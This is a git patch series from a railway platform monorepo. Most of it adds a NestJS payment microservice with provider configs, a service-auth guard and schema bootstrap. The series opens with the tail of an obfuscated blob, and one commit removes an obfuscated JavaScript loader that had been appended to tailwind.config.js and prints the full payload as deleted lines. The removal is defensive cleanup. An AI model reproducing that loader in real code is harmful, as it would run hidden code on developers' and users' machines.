Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; From a4baaaea1d0f676584f02c5b94a580af46ec41b6 Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 11 Jun 2026 13:56:29 +0300 Subject: [PATCH 13/31] Remove obfuscated code from tailwind.config.js --- apps/edr-passenger-web/portal/tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 3ab9f36a3..2d8d6f32d 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -89,4 +89,4 @@ export default { }, }, plugins: [], -}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; From 556c2dc1f858f8afe482f124487d010e94067b62 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Thu, 11 Jun 2026 14:24:56 +0300 Subject: [PATCH 14/31] Update seed.ts --- apps/edr-passenger-api/prisma/seed.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/apps/edr-passenger-api/prisma/seed.ts b/apps/edr-passenger-api/prisma/seed.ts index 8e1bedd83..17283e15b 100644 --- a/apps/edr-passenger-api/prisma/seed.ts +++ b/apps/edr-passenger-api/prisma/seed.ts @@ -555,7 +555,7 @@ async function seedFraudRules() { // Run a seed step in isolation: if it throws (FK conflict, duplicate row, // missing record, etc.) log the error and keep going so the rest of the seed — // and the API startup that follows it — are never blocked by one bad step. -async function runStep(name: string, step: () => Promise): Promise { +async function runStep(name: string, step: () => Promise): Promise { try { await step(); return true; @@ -568,7 +568,7 @@ async function runStep(name: string, step: () => Promise): Promise Promise]> = [ + const steps: Array<[string, () => Promise]> = [ ['system users', seedSystemUsers], ['stations', seedStations], ['coach types & classes', seedCoachTypesAndClasses], From 2b430f8e7602d281bb31d3a3acf5aa445f8d3ad1 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Thu, 11 Jun 2026 15:25:24 +0300 Subject: [PATCH 15/31] feat: ( payment ) create payment microservice --- CLAUDE.md | 3 + apps/edr-payment-api/nest-cli.json | 8 + apps/edr-payment-api/package.json | 74 ++++ apps/edr-payment-api/src/app.module.ts | 51 +++ .../src/common/guards/service-auth.guard.ts | 55 +++ apps/edr-payment-api/src/config/app.config.ts | 21 ++ .../edr-payment-api/src/config/card.config.ts | 9 + apps/edr-payment-api/src/config/cbe.config.ts | 9 + .../src/config/database.config.ts | 36 ++ .../src/config/dmoney.config.ts | 10 + .../src/config/ebirr.config.ts | 9 + .../src/config/ensure-schema.ts | 52 +++ .../src/config/notifier.config.ts | 15 + .../src/config/telebirr.config.ts | 16 + .../src/config/waafi.config.ts | 27 ++ apps/edr-payment-api/src/data-source.ts | 8 + apps/edr-payment-api/src/main.ts | 54 +++ .../1781136000000-InitPaymentSchema.ts | 124 +++++++ .../src/modules/health/health.controller.ts | 16 + .../src/modules/health/health.module.ts | 7 + .../intents/dto/initiate-payment.dto.ts | 100 +++++ .../intents/entities/payment-intent.entity.ts | 135 +++++++ .../src/modules/intents/intents.controller.ts | 69 ++++ .../src/modules/intents/intents.module.ts | 21 ++ .../src/modules/intents/intents.repository.ts | 73 ++++ .../src/modules/intents/intents.service.ts | 342 ++++++++++++++++++ .../entities/notification-outbox.entity.ts | 55 +++ .../modules/outbox/outbox-relay.service.ts | 119 ++++++ .../src/modules/outbox/outbox.module.ts | 20 + .../src/modules/outbox/outbox.repository.ts | 58 +++ .../modules/outbox/payment-event.factory.ts | 66 ++++ .../publisher/http-payment-event-publisher.ts | 53 +++ .../publisher/payment-event-publisher.ts | 13 + .../src/modules/providers/providers.module.ts | 46 +++ .../reconciliation/reconciliation.module.ts | 10 + .../reconciliation/reconciliation.service.ts | 114 ++++++ .../entities/payment-webhook-event.entity.ts | 57 +++ .../webhooks/handlers/card-webhook.service.ts | 35 ++ .../handlers/cbe-birr-webhook.service.ts | 30 ++ .../handlers/dmoney-webhook.service.ts | 34 ++ .../handlers/ebirr-webhook.service.ts | 33 ++ .../handlers/telebirr-webhook.service.ts | 46 +++ .../handlers/waafi-webhook.service.ts | 82 +++++ .../webhooks/webhook-events.repository.ts | 44 +++ .../webhooks/webhook-processor.service.ts | 112 ++++++ .../modules/webhooks/webhooks.controller.ts | 143 ++++++++ .../src/modules/webhooks/webhooks.module.ts | 34 ++ .../src/scripts/migrate-revert.ts | 18 + apps/edr-payment-api/src/scripts/migrate.ts | 23 ++ apps/edr-payment-api/tsconfig.build.json | 4 + apps/edr-payment-api/tsconfig.json | 14 + package.json | 1 + packages/types/src/common/payments.ts | 95 +++++ pnpm-lock.yaml | 106 ++++++ 54 files changed, 2809 insertions(+) create mode 100644 apps/edr-payment-api/nest-cli.json create mode 100644 apps/edr-payment-api/package.json create mode 100644 apps/edr-payment-api/src/app.module.ts create mode 100644 apps/edr-payment-api/src/common/guards/service-auth.guard.ts create mode 100644 apps/edr-payment-api/src/config/app.config.ts create mode 100644 apps/edr-payment-api/src/config/card.config.ts create mode 100644 apps/edr-payment-api/src/config/cbe.config.ts create mode 100644 apps/edr-payment-api/src/config/database.config.ts create mode 100644 apps/edr-payment-api/src/config/dmoney.config.ts create mode 100644 apps/edr-payment-api/src/config/ebirr.config.ts create mode 100644 apps/edr-payment-api/src/config/ensure-schema.ts create mode 100644 apps/edr-payment-api/src/config/notifier.config.ts create mode 100644 apps/edr-payment-api/src/config/telebirr.config.ts create mode 100644 apps/edr-payment-api/src/config/waafi.config.ts create mode 100644 apps/edr-payment-api/src/data-source.ts create mode 100644 apps/edr-payment-api/src/main.ts create mode 100644 apps/edr-payment-api/src/migrations/1781136000000-InitPaymentSchema.ts create mode 100644 apps/edr-payment-api/src/modules/health/health.controller.ts create mode 100644 apps/edr-payment-api/src/modules/health/health.module.ts create mode 100644 apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts create mode 100644 apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts create mode 100644 apps/edr-payment-api/src/modules/intents/intents.controller.ts create mode 100644 apps/edr-payment-api/src/modules/intents/intents.module.ts create mode 100644 apps/edr-payment-api/src/modules/intents/intents.repository.ts create mode 100644 apps/edr-payment-api/src/modules/intents/intents.service.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/entities/notification-outbox.entity.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/outbox-relay.service.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/outbox.module.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/outbox.repository.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/payment-event.factory.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/publisher/http-payment-event-publisher.ts create mode 100644 apps/edr-payment-api/src/modules/outbox/publisher/payment-event-publisher.ts create mode 100644 apps/edr-payment-api/src/modules/providers/providers.module.ts create mode 100644 apps/edr-payment-api/src/modules/reconciliation/reconciliation.module.ts create mode 100644 apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/entities/payment-webhook-event.entity.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/card-webhook.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/cbe-birr-webhook.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/dmoney-webhook.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/telebirr-webhook.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/waafi-webhook.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/webhook-events.repository.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts create mode 100644 apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts create mode 100644 apps/edr-payment-api/src/scripts/migrate-revert.ts create mode 100644 apps/edr-payment-api/src/scripts/migrate.ts create mode 100644 apps/edr-payment-api/tsconfig.build.json create mode 100644 apps/edr-payment-api/tsconfig.json diff --git a/CLAUDE.md b/CLAUDE.md index c06000dac..d67e6c3d5 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -12,6 +12,7 @@ Monorepo for the Ethio Djibouti Railway (EDR) digital platform. Contains the Fre | `edr-freight-web/portal` | `@edr/freight-portal` | React frontend for freight customer/portal users | 5173 | | `edr-freight-web/backoffice` | `@edr/freight-backoffice` | React frontend for freight backoffice employees | 5183 | | `edr-passenger-api` | `@edr/passenger-api` | NestJS API for passenger management | 3002 | +| `edr-payment-api` | `@edr/payment-api` | NestJS payment microservice (intents, webhooks) | 3003 | | `edr-passenger-web/portal` | `@edr/passenger-portal` | React frontend for passenger customer/portal users | 5174 | | `edr-passenger-web/backoffice` | `@edr/passenger-backoffice` | React frontend for passenger backoffice employees | 5184 | @@ -73,6 +74,7 @@ The `@CurrentUser`, `@Roles`, and `@Public` decorators in `@edr/api-common` are - `edr-freight-web/portal`: 5173 - `edr-freight-web/backoffice`: 5183 - `edr-passenger-api`: 3002 +- `edr-payment-api`: 3003 - `edr-passenger-web/portal`: 5174 - `edr-passenger-web/backoffice`: 5184 @@ -80,6 +82,7 @@ The `@CurrentUser`, `@Roles`, and `@Public` decorators in `@edr/api-common` are - `postgres-freight` (port 5433): database `edr_freight` — freight API only. - `postgres-passenger` (port 5434): database `edr_passenger` — passenger API only. +- `edr_payment` schema — lives in the same Postgres database as the domain system (whatever the passenger `DATABASE_URL` points at) but is owned exclusively by `apps/edr-payment-api`. Dedicated DB user, no cross-schema FKs, domain apps have no grants on it (see `docs/payment-service/`). - Each app owns its own DB. No cross-database joins; cross-domain data flows through API calls or message queues. ## Adding a new module to a NestJS app diff --git a/apps/edr-payment-api/nest-cli.json b/apps/edr-payment-api/nest-cli.json new file mode 100644 index 000000000..89d7d6c57 --- /dev/null +++ b/apps/edr-payment-api/nest-cli.json @@ -0,0 +1,8 @@ +{ + "$schema": "https://json.schemastore.org/nest-cli", + "collection": "@nestjs/schematics", + "sourceRoot": "src", + "compilerOptions": { + "deleteOutDir": false + } +} diff --git a/apps/edr-payment-api/package.json b/apps/edr-payment-api/package.json new file mode 100644 index 000000000..3ce7804a9 --- /dev/null +++ b/apps/edr-payment-api/package.json @@ -0,0 +1,74 @@ +{ + "name": "@edr/payment-api", + "version": "0.0.0", + "private": true, + "description": "EDR Payment Microservice — owns provider integration, payment intents, webhooks, and outbox notifications for the whole platform", + "scripts": { + "clean": "node -e \"const fs=require('fs'); fs.rmSync('dist',{recursive:true,force:true}); fs.rmSync('.tsbuildinfo',{force:true});\"", + "predev": "pnpm run clean", + "dev": "nest start --watch", + "prebuild": "pnpm run clean", + "build": "nest build", + "start": "node dist/main.js", + "lint": "eslint src", + "test": "jest", + "type-check": "tsc --noEmit", + "migration:run": "ts-node src/scripts/migrate.ts", + "migration:revert": "ts-node src/scripts/migrate-revert.ts" + }, + "dependencies": { + "@edr/api-common": "workspace:*", + "@edr/payment-providers": "workspace:*", + "@edr/types": "workspace:*", + "@nestjs/axios": "^4.0.1", + "@nestjs/common": "^11.0.0", + "@nestjs/config": "^4.0.0", + "@nestjs/core": "^11.0.0", + "@nestjs/platform-express": "^11.0.0", + "@nestjs/schedule": "^6.0.0", + "@nestjs/swagger": "^11.4.2", + "@nestjs/typeorm": "^11.0.1", + "axios": "^1.16.1", + "class-transformer": "^0.5.1", + "class-validator": "^0.14.1", + "dotenv": "^17.4.2", + "pg": "^8.13.0", + "reflect-metadata": "^0.2.2", + "rxjs": "^7.8.1", + "typeorm": "0.3.30" + }, + "devDependencies": { + "@edr/eslint-config": "workspace:*", + "@edr/tsconfig": "workspace:*", + "@nestjs/cli": "^11.0.0", + "@nestjs/schematics": "^11.0.0", + "@nestjs/testing": "^11.0.0", + "@types/express": "^5.0.0", + "@types/jest": "^29.5.13", + "@types/node": "^20.14.0", + "@types/pg": "^8.6.7", + "jest": "^29.7.0", + "ts-jest": "^29.2.5", + "ts-loader": "^9.5.1", + "ts-node": "^10.9.2", + "tsconfig-paths": "^4.2.0", + "typescript": "^5.5.4" + }, + "jest": { + "moduleFileExtensions": [ + "js", + "json", + "ts" + ], + "rootDir": "src", + "testRegex": ".*\\.spec\\.ts$", + "transform": { + "^.+\\.(t|j)s$": "ts-jest" + }, + "collectCoverageFrom": [ + "**/*.(t|j)s" + ], + "coverageDirectory": "../coverage", + "testEnvironment": "node" + } +} diff --git a/apps/edr-payment-api/src/app.module.ts b/apps/edr-payment-api/src/app.module.ts new file mode 100644 index 000000000..4a99472d0 --- /dev/null +++ b/apps/edr-payment-api/src/app.module.ts @@ -0,0 +1,51 @@ +import { Module } from "@nestjs/common"; +import { ConfigModule, ConfigService } from "@nestjs/config"; +import { ScheduleModule } from "@nestjs/schedule"; +import { TypeOrmModule, TypeOrmModuleOptions } from "@nestjs/typeorm"; +import appConfig from "./config/app.config"; +import databaseConfig from "./config/database.config"; +import notifierConfig from "./config/notifier.config"; +import telebirrConfig from "./config/telebirr.config"; +import waafiConfig from "./config/waafi.config"; +import cbeConfig from "./config/cbe.config"; +import ebirrConfig from "./config/ebirr.config"; +import cardConfig from "./config/card.config"; +import dmoneyConfig from "./config/dmoney.config"; +import { HealthModule } from "./modules/health/health.module"; +import { IntentsModule } from "./modules/intents/intents.module"; +import { OutboxModule } from "./modules/outbox/outbox.module"; +import { ProvidersModule } from "./modules/providers/providers.module"; +import { ReconciliationModule } from "./modules/reconciliation/reconciliation.module"; +import { WebhooksModule } from "./modules/webhooks/webhooks.module"; + +@Module({ + imports: [ + ConfigModule.forRoot({ + isGlobal: true, + load: [ + appConfig, + databaseConfig, + notifierConfig, + telebirrConfig, + waafiConfig, + cbeConfig, + ebirrConfig, + cardConfig, + dmoneyConfig, + ], + }), + TypeOrmModule.forRootAsync({ + inject: [ConfigService], + useFactory: (config: ConfigService) => + config.get("database") as TypeOrmModuleOptions, + }), + ScheduleModule.forRoot(), + HealthModule, + ProvidersModule, + IntentsModule, + WebhooksModule, + OutboxModule, + ReconciliationModule, + ], +}) +export class AppModule {} diff --git a/apps/edr-payment-api/src/common/guards/service-auth.guard.ts b/apps/edr-payment-api/src/common/guards/service-auth.guard.ts new file mode 100644 index 000000000..5b5fb39c5 --- /dev/null +++ b/apps/edr-payment-api/src/common/guards/service-auth.guard.ts @@ -0,0 +1,55 @@ +import { + CanActivate, + ExecutionContext, + Injectable, + Logger, + UnauthorizedException, +} from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { timingSafeEqual } from "node:crypto"; +import { Request } from "express"; + +/** + * Shared-secret service-to-service auth for the internal surface (/payments/*). + * Callers send `x-service-token: ` (or `Authorization: Bearer …`). + * Webhook endpoints are intentionally NOT behind this guard — they are provider-facing and + * authenticate via signature verification instead. + */ +@Injectable() +export class ServiceAuthGuard implements CanActivate { + private readonly logger = new Logger(ServiceAuthGuard.name); + private readonly token: string; + private warned = false; + + constructor(config: ConfigService) { + this.token = config.get("app.serviceAuthToken") ?? ""; + if (!this.token && process.env.NODE_ENV === "production") { + throw new Error("SERVICE_AUTH_TOKEN must be set in production"); + } + } + + canActivate(context: ExecutionContext): boolean { + if (!this.token) { + if (!this.warned) { + this.logger.warn( + "SERVICE_AUTH_TOKEN unset — internal endpoints are UNGUARDED (dev only)", + ); + this.warned = true; + } + return true; + } + + const request = context.switchToHttp().getRequest(); + const header = request.headers["x-service-token"]; + const bearer = request.headers.authorization?.replace(/^Bearer\s+/i, ""); + const presented = + (Array.isArray(header) ? header[0] : header) ?? bearer ?? ""; + + const expected = Buffer.from(this.token); + const actual = Buffer.from(presented); + const valid = + expected.length === actual.length && timingSafeEqual(expected, actual); + if (!valid) throw new UnauthorizedException("Invalid service token"); + return true; + } +} diff --git a/apps/edr-payment-api/src/config/app.config.ts b/apps/edr-payment-api/src/config/app.config.ts new file mode 100644 index 000000000..c1128a872 --- /dev/null +++ b/apps/edr-payment-api/src/config/app.config.ts @@ -0,0 +1,21 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("app", () => ({ + port: parseInt(process.env.PORT ?? "3003", 10), + /** + * Shared secret for service-to-service auth (apps -> /payments/*, payment -> mark-paid). + * Required in production; in development an empty value disables the guard with a warning. + * TODO: integrate @tria-plc IAM / mTLS as the long-term mechanism (docs/payment-service §14). + */ + serviceAuthToken: process.env.SERVICE_AUTH_TOKEN ?? "", + reconciliation: { + /** How often the stale-intent sweep runs. */ + sweepIntervalMs: parseInt( + process.env.RECONCILE_SWEEP_INTERVAL_MS ?? "60000", + 10, + ), + /** An intent is "stale" when non-terminal and untouched for this long. */ + staleAfterMs: parseInt(process.env.RECONCILE_STALE_AFTER_MS ?? "60000", 10), + batchSize: parseInt(process.env.RECONCILE_BATCH_SIZE ?? "20", 10), + }, +})); diff --git a/apps/edr-payment-api/src/config/card.config.ts b/apps/edr-payment-api/src/config/card.config.ts new file mode 100644 index 000000000..fa9d4b30c --- /dev/null +++ b/apps/edr-payment-api/src/config/card.config.ts @@ -0,0 +1,9 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("card", () => ({ + baseUrl: process.env.CARD_BASE_URL || "", + apiKey: process.env.CARD_API_KEY || "", + webhookSecret: process.env.CARD_WEBHOOK_SECRET || "", + webhookUrl: process.env.CARD_WEBHOOK_URL || "", + returnUrl: process.env.CARD_RETURN_URL || "", +})); diff --git a/apps/edr-payment-api/src/config/cbe.config.ts b/apps/edr-payment-api/src/config/cbe.config.ts new file mode 100644 index 000000000..eb2cd689f --- /dev/null +++ b/apps/edr-payment-api/src/config/cbe.config.ts @@ -0,0 +1,9 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("cbe", () => ({ + baseUrl: process.env.CBE_BASE_URL || "", + merchantId: process.env.CBE_MERCHANT_ID || "", + secretKey: process.env.CBE_SECRET_KEY || "", + notifyUrl: process.env.CBE_NOTIFY_URL || "", + returnUrl: process.env.CBE_RETURN_URL || "", +})); diff --git a/apps/edr-payment-api/src/config/database.config.ts b/apps/edr-payment-api/src/config/database.config.ts new file mode 100644 index 000000000..43d8ca564 --- /dev/null +++ b/apps/edr-payment-api/src/config/database.config.ts @@ -0,0 +1,36 @@ +import { registerAs } from "@nestjs/config"; +import { TypeOrmModuleOptions } from "@nestjs/typeorm"; +import { DataSourceOptions } from "typeorm"; + +/** + * Shared connection options for the Nest TypeORM module and the standalone DataSource + * (migration CLI). Payment tables live in the SAME Postgres database as the domain system + * (edr_database by default) but in the dedicated `edr_payment` schema; logical ownership is + * enforced with a dedicated DB user in non-dev environments (grants only on this schema). + */ +export function buildDataSourceOptions(): DataSourceOptions { + return { + type: "postgres", + host: process.env.DB_HOST ?? "localhost", + port: parseInt(process.env.DB_PORT ?? "5432", 10), + username: process.env.DB_USER ?? "edr", + password: process.env.DB_PASSWORD ?? "", + database: process.env.DB_NAME ?? "edr_database", + schema: process.env.DB_SCHEMA ?? "edr_payment", + entities: [__dirname + "/../**/*.entity.{ts,js}"], + migrations: [__dirname + "/../migrations/*.{ts,js}"], + // Schema changes go through migrations only — never synchronize (house rule). + synchronize: false, + logging: process.env.NODE_ENV === "development", + }; +} + +export default registerAs( + "database", + (): TypeOrmModuleOptions => ({ + ...buildDataSourceOptions(), + autoLoadEntities: true, + // Run pending migrations on boot (main.ts ensures the database/schema exist first). + migrationsRun: true, + }), +); diff --git a/apps/edr-payment-api/src/config/dmoney.config.ts b/apps/edr-payment-api/src/config/dmoney.config.ts new file mode 100644 index 000000000..78751f8d5 --- /dev/null +++ b/apps/edr-payment-api/src/config/dmoney.config.ts @@ -0,0 +1,10 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("dmoney", () => ({ + baseUrl: process.env.DMONEY_BASE_URL ?? "", + appId: process.env.DMONEY_APP_ID ?? "", + appSecret: process.env.DMONEY_APP_SECRET ?? "", + publicKey: process.env.DMONEY_PUBLIC_KEY ?? "", + privateKey: process.env.DMONEY_PRIVATE_KEY ?? "", + notifyUrl: process.env.DMONEY_NOTIFY_URL ?? "", +})); diff --git a/apps/edr-payment-api/src/config/ebirr.config.ts b/apps/edr-payment-api/src/config/ebirr.config.ts new file mode 100644 index 000000000..4c5dd68e6 --- /dev/null +++ b/apps/edr-payment-api/src/config/ebirr.config.ts @@ -0,0 +1,9 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("ebirr", () => ({ + baseUrl: process.env.EBIRR_BASE_URL || "", + merchantCode: process.env.EBIRR_MERCHANT_CODE || "", + secretKey: process.env.EBIRR_SECRET_KEY || "", + notifyUrl: process.env.EBIRR_NOTIFY_URL || "", + returnUrl: process.env.EBIRR_RETURN_URL || "", +})); diff --git a/apps/edr-payment-api/src/config/ensure-schema.ts b/apps/edr-payment-api/src/config/ensure-schema.ts new file mode 100644 index 000000000..9f7a5bb52 --- /dev/null +++ b/apps/edr-payment-api/src/config/ensure-schema.ts @@ -0,0 +1,52 @@ +import { Client } from "pg"; + +const IDENTIFIER = /^[a-z_][a-z0-9_]*$/; + +function connectionEnv() { + return { + host: process.env.DB_HOST ?? "localhost", + port: parseInt(process.env.DB_PORT ?? "5432", 10), + user: process.env.DB_USER ?? "edr", + password: process.env.DB_PASSWORD ?? "", + }; +} + +/** + * Dev/bootstrap convenience: make sure the `edr_payment` schema exists in the shared + * database before TypeORM initializes (the migrations table itself lives in the schema, so + * migrations cannot create it). In production the schema/grants are provisioned out-of-band + * by ops; this is then a no-op. + */ +export async function ensurePaymentSchema(): Promise { + const database = process.env.DB_NAME ?? "edr_database"; + const schema = process.env.DB_SCHEMA ?? "edr_payment"; + if (!IDENTIFIER.test(database) || !IDENTIFIER.test(schema)) { + throw new Error( + `Invalid DB_NAME/DB_SCHEMA identifier: ${database}/${schema}`, + ); + } + + let client = new Client({ ...connectionEnv(), database }); + try { + await client.connect(); + } catch (err) { + // 3D000 = database does not exist — create it from the maintenance DB, then reconnect. + if ((err as { code?: string }).code !== "3D000") throw err; + await client.end().catch(() => undefined); + const admin = new Client({ ...connectionEnv(), database: "postgres" }); + await admin.connect(); + try { + await admin.query(`CREATE DATABASE "${database}"`); + } finally { + await admin.end(); + } + client = new Client({ ...connectionEnv(), database }); + await client.connect(); + } + + try { + await client.query(`CREATE SCHEMA IF NOT EXISTS "${schema}"`); + } finally { + await client.end(); + } +} diff --git a/apps/edr-payment-api/src/config/notifier.config.ts b/apps/edr-payment-api/src/config/notifier.config.ts new file mode 100644 index 000000000..cddc66761 --- /dev/null +++ b/apps/edr-payment-api/src/config/notifier.config.ts @@ -0,0 +1,15 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("notifier", () => ({ + /** mark-paid callback URL per owning service (PaymentService discriminator routes here). */ + passengerUrl: + process.env.PAYMENT_NOTIFY_PASSENGER_URL ?? + "http://localhost:3002/internal/payments/mark-paid", + freightUrl: + process.env.PAYMENT_NOTIFY_FREIGHT_URL ?? + "http://localhost:3001/internal/payments/mark-paid", + relayIntervalMs: parseInt(process.env.OUTBOX_RELAY_INTERVAL_MS ?? "5000", 10), + maxAttempts: parseInt(process.env.OUTBOX_MAX_ATTEMPTS ?? "10", 10), + httpTimeoutMs: parseInt(process.env.NOTIFY_HTTP_TIMEOUT_MS ?? "10000", 10), + relayBatchSize: parseInt(process.env.OUTBOX_RELAY_BATCH_SIZE ?? "20", 10), +})); diff --git a/apps/edr-payment-api/src/config/telebirr.config.ts b/apps/edr-payment-api/src/config/telebirr.config.ts new file mode 100644 index 000000000..8e5d1712a --- /dev/null +++ b/apps/edr-payment-api/src/config/telebirr.config.ts @@ -0,0 +1,16 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("telebirr", () => ({ + baseUrl: process.env.TELEBIRR_BASE_URL ?? "", + webBaseUrl: process.env.TELEBIRR_WEB_BASE_URL ?? "", + fabricAppId: process.env.TELEBIRR_FABRIC_APP_ID ?? "", + appSecret: process.env.TELEBIRR_APP_SECRET ?? "", + merchantAppId: process.env.TELEBIRR_MERCHANT_APP_ID ?? "", + merchantCode: process.env.TELEBIRR_MERCHANT_CODE ?? "", + notifyUrl: process.env.TELEBIRR_NOTIFY_URL ?? "", + returnUrl: process.env.TELEBIRR_RETURN_URL ?? "", + timeoutExpress: process.env.TELEBIRR_TIMEOUT_EXPRESS ?? "15m", + privateKey: process.env.TELEBIRR_PRIVATE_KEY ?? "", + publicKey: process.env.TELEBIRR_PUBLIC_KEY ?? "", + insecureTls: process.env.TELEBIRR_INSECURE_TLS === "true", +})); diff --git a/apps/edr-payment-api/src/config/waafi.config.ts b/apps/edr-payment-api/src/config/waafi.config.ts new file mode 100644 index 000000000..05624922f --- /dev/null +++ b/apps/edr-payment-api/src/config/waafi.config.ts @@ -0,0 +1,27 @@ +import { registerAs } from "@nestjs/config"; + +export default registerAs("waafi", () => ({ + // `/asm` is appended in the provider; use sandbox by default, switch to + // https://api.waafipay.net in production. + baseUrl: process.env.WAAFI_BASE_URL ?? "https://sandbox.waafipay.net", + // HPP credentials (Hosted Payment Page 